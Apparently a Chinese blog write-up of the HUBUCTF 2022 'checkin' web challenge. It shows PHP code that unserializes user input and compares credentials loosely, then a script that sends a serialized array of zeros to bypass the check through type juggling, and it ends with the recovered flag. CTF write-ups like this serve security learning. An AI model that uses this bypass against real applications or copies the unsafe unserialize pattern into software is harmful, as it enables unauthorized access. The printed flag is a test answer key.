首页 > 其他分享 >HUBUCTF 2022新生赛Writeup

HUBUCTF 2022新生赛Writeup

时间:2024-01-13 23:12:20浏览次数:25  
标签:username 原题 Writeup checkin 2022 HUBUCTF password

既然是母校,那一定要好好对待~    2024-01-13 22:42:34


WEB  [HUBUCTF 2022 新生赛]checkin

题目链接:checkin

原题

 <?php
show_source(__FILE__);
$username  = "this_is_secret"; 
$password  = "this_is_not_known_to_you"; 
include("flag.php");//here I changed those two 
$info = isset($_GET['info'])? $_GET['info']: "" ;
$data_unserialize = unserialize($info);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
    echo $flag;
}else{
    echo "username or password error!";

}

?>
username or password error!

一道字符串反序列化的题,相关构造就可以。

<?php

$info=['username'=>"this_is_secret",'password'=>"this_is_not_known_to_you"];
echo urlencode(serialize($info));
?> 本来信心满满,但是又被现实击垮。还是不行。原题所改变了值。结合下面的弱比较,如果改完的字符串没有以数字开头就可以用0弱比较绕过。 把脚本的两个参数改成数字0既可以绕过。 得到flag:NSSCTF{df0b1d5c-d3e8-426d-887a-3eabe68f61bb}  

标签:username,原题,Writeup,checkin,2022,HUBUCTF,password
From: https://www.cnblogs.com/AllFalls/p/17963152

相关文章

  • NSSCTF Round#16 Basic WriteUp
    NSSCTFRound#16Basicwp目录NSSCTFRound#16Basicwp一.pwn1.nc_pwnre2.ret_text一.pwn1.nc_pwnrenc连接得到题目,给了一段汇编代码以及40个十六进制数字分析代码可知,将一个字符串与10h即16进行异或运算,二次异或运算得到字符串TlNTQ1RGe1dFTGMwTV9UMF9wV25fdzByMWQhfQ......
  • AtCoder World Tour 2022 B The Greatest Two
    原题面:https://atcoder.jp/contests/wtf22-day2/tasks/wtf22_day2_b题面翻译:一个长度为\(n\)的排列\(p\),每次可以把一个长\(k\)区间的最大与次大值交换,问操作任意次数后可以得到的排列数量对\(998244353\)取模。这题被我搬到了一场多校联考中。在搬到的题面中,我加入了......
  • 2021-2022 ICPC Northwestern European Regional Programming Contest (NWERC 2021)
    Preface和昨天刚好相反,前期极度崩盘2h2题而且一堆银铜牌题不会但好在后面稳扎稳打慢慢追回来了一点,最后超高罚时8题收场这场一边打一边看ECF的实况,最后看到同校的Wifi暴打全场,实在是ORZA.AccessDenied签到,首先暴力问出长度然后从前往后一位一位确定即可注意实现的时候不......
  • 多态和虚函数 [补档-2022-10-23]
    简述:  多态分为两类,一种是静态多态(如函数重载,运算符重载,复用函数名等)和动态多态(派生类和虚函数实现运行时的多态)  静态多态和动态多态的区别是:静态多态的函数地址早绑定,在编译阶段就确定了函数地址。动态多态的函数地址是晚绑定,即运行阶段确定函数地址。​多态的满......
  • 深拷贝和浅拷贝的问题 [补档-2022-10-22]
    简介:​ (在没有用户自己定义拷贝构造函数的情况下)编译器通过调用默认拷贝构造函数将一个对象的内容完整地复制到另一个对象上。如果我们要拷贝的对象它的成员有指针,并且指针指向着某一块空间,那么就要小心了。​通常我们创建一块动态空间,在不需要的时候会......
  • P8368 [LNOI2022] 串
    题面传送门首先我们可以说明,一定存在一个最优方案,使得最后一个串的右端点是\(n\)。因为如果不是\(n\),那么可以往后扩展一个,或者整体前移一位之后再往后扩展一位。然后我们可以说明,如果后缀\([i,n]\)存在一种方案使得其是最后一个,那么\([j,n](j>n)\)也存在一种方案。所以......
  • 2022/6/30--2023/5/23 用尼康Z5拍照的一年
    设备:尼康NikonZ5、唯卓士ViltroxAF85/1.8Z、AF-P尼克尔70-300mmf/4.5-5.6EEDVR、尼克尔-SDX尼克尔35mmf/1.8G、尼克尔Z24-50mmf/4-6.3、适马Sigma35mmF1.4DG、FTZ转接环I代。软件:LightroomClassic(视频......
  • SQL Server 2022 基于 Docker 部署
    1、Docker、Docker-Compose安装https://www.cnblogs.com/a120608yby/p/9883175.htmlhttps://www.cnblogs.com/a120608yby/p/14582853.html2、基于Docker-Compose部署SQLServer#vimdocker-compose.ymlversion:'3.9'services:mssql:container_name:mss......
  • ACES 增强版不丹水稻作物地图(2016-2022 年)
    ACES增强版不丹水稻作物地图(2016-2022年)¶用于改善粮食安全决策的2016-2022年年度作物类型稻米地图仍然是不丹的一项挑战。这些地图是与不丹农业部和SERVIR合作开发的。通过专注于发展不丹的科学、技术、工程和数学(STEM),我们共同开发了名为农业分类和估算服务(ACES)的地......
  • Visual Studio 2022版本17.8中的实用功能
    前言今天介绍一下VisualStudio2022版本17.8这一发行版中的4个比较实用功能。保留大小写查找和替换这个功能之前就有,不过我觉得对于日常搜索、替换而言还是比较实用的。在执行查找、替换时,现在可以在代码中保留每个匹配项的原始大小写。请注意,若要获取Pascal大小写和Camel......